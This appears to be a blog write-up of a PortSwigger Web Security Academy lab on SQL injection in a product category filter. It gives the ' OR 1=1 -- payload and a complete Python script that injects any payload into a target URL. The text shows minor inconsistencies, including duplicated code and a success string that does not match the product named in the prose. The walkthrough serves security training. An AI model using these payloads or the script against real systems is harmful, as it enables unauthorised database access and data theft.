September 7, 2026
Lab #1 SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Post Overview

By Muhammad Abdullah
2 min read
Post Overview
This post is a practical walkthrough of Lab #1 from the PortSwigger Web Security Academy. It focuses on identifying and exploiting a simple SQL Injection (SQLi) vulnerability in the WHERE clause of a database query to retrieve hidden data (unreleased products). The video covers both the manual exploitation method and how to write a Python script to automate the attack.
The Scenario & Objective
Lab: SQL injection vulnerability in the product category filter.
Application Logic: The application displays products based on a category selected by the user.
Backend Query (Revealed):
SELECT * FROM products WHERE category = 'Gifts' AND released = 1SELECT * FROM products WHERE category = 'Gifts' AND released = 1The application filters for the selected category and checks if the product is released (released = 1).
Goal: Modify the query to display all products, including those that are unreleased (released = 0).
Manual Exploitation Steps
The post follows a standard penetration testing methodology:
Step A: Map the Application
- Browse the application to understand its logic.
- Identify Input Vectors: Clicking on a category (e.g., "Gifts") updates the URL parameter:
.../filter?category=Gifts - This confirms the
categoryparameter interacts with the database.
Step B: Fuzzing & Detection
- Test for Errors: Submit a single quote ' in the category parameter.
- Result: "Internal Server Error."
- Analysis: The quote likely broke the SQL syntax (unclosed string), indicating a potential vulnerability.
- Confirm Syntax: Submit a quote followed by a comment characters (--).
- Payload: ' --
- Result: No error, but no products displayed (because the category was empty).
- Analysis: The query syntax was fixed by the comment, confirming we have control over the query structure.
Step C: Crafting the Payload
Objective: We want the query to return TRUE for every row, ignoring the category and the released status.
Logic:
- Close the category string: '
- Add a generic "always true" condition:
OR 1=1 - Comment out the rest of the query (specifically the
AND released = 1check): --
Final Payload:
' OR 1=1 --
- Resulting Backend Query:
SELECT * FROM products WHERE category = '' OR 1=1 --' AND released = 1SELECT * FROM products WHERE category = '' OR 1=1 --' AND released = 1Since 1=1 is always true, the database returns every row in the table.
Outcome: The application displays all products, including a hidden unreleased product (e.g., "Cat Grin").
3. Automated Exploitation (Python Scripting)
The instructor demonstrates how to script the attack using Python to prepare for more complex scenarios (like Blind SQLi).
Script Structure
Libraries: Uses requests for HTTP calls, sys for arguments, and urllib3 to handle SSL warnings.
Proxy Setup (Debugging):
- Configures the script to route traffic through Burp Suite (localhost:8080).
- Why? To debug the script by inspecting the exact raw requests/responses sent by Python.
Core Logic:
- Takes two command-line arguments:
URLandPayload. - Constructs the full URL by appending the malicious payload to the category parameter.
- Sends a
GETrequest.
Verification:
- Checks if the response body contains the name of the hidden product (e.g., "Cat Grin").
- If found -> "SQL Injection Successful"
- If not found -> "SQL Injection Unsuccessful"
Key Code Snippet:
import argparse
import requests
import urllib3
from urllib.parse import urljoin, quote
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
SUCCESS_INDICATOR = "Portable Hat"
def normalize_url(url):
if not url.startswith(("http://", "https://")):
url = "https://" + url
return url
def exploit_sqli(url, payload, use_proxy):
endpoint = "/filter?category="
payload = quote(payload, safe="")
target = urljoin(url, endpoint + payload)
try:
r = requests.get(
target,
verify=False,
timeout=10,
proxies=PROXIES if use_proxy else None,
)
return SUCCESS_INDICATOR in r.text
except requests.RequestException as e:
print(f"[!] Request error: {e}")
return False
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--proxy", action="store_true")
parser.add_argument("url", nargs="?", help="Target URL")
parser.add_argument("payload", nargs="?", help="Payload")
args = parser.parse_args()
# Ask interactively if missing
url = args.url or input("Enter target URL: ").strip()
payload = args.payload or input("Enter payload: ").strip()
url = normalize_url(url)
if exploit_sqli(url, payload, args.proxy):
print("[+] SQL injection likely successful")
else:
print("[-] SQL injection unsuccessful")
if __name__ == "__main__":
main()import argparse
import requests
import urllib3
from urllib.parse import urljoin, quote
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
SUCCESS_INDICATOR = "Portable Hat"
def normalize_url(url):
if not url.startswith(("http://", "https://")):
url = "https://" + url
return url
def exploit_sqli(url, payload, use_proxy):
endpoint = "/filter?category="
payload = quote(payload, safe="")
target = urljoin(url, endpoint + payload)
try:
r = requests.get(
target,
verify=False,
timeout=10,
proxies=PROXIES if use_proxy else None,
)
return SUCCESS_INDICATOR in r.text
except requests.RequestException as e:
print(f"[!] Request error: {e}")
return False
def main():
parser = argparse.ArgumentParser()
parser.add_argument("--proxy", action="store_true")
parser.add_argument("url", nargs="?", help="Target URL")
parser.add_argument("payload", nargs="?", help="Payload")
args = parser.parse_args()
# Ask interactively if missing
url = args.url or input("Enter target URL: ").strip()
payload = args.payload or input("Enter payload: ").strip()
url = normalize_url(url)
if exploit_sqli(url, payload, args.proxy):
print("[+] SQL injection likely successful")
else:
print("[-] SQL injection unsuccessful")
if __name__ == "__main__":
main()Key Takeaways & Tips
- Mapping is Critical: Don't rely solely on scanners. Understand how the application processes input (e.g., URL parameters).
- Use a Proxy (Burp Suite): Even when scripting, routing traffic through a proxy allows you to debug effectively and see exactly what your script is sending vs. what the browser sends.
- Comments are Powerful: In SQLi, the comment character (-- in SQL, # in MySQL, etc.) is essential to "cut off" the rest of the original query so your injected logic validates correctly.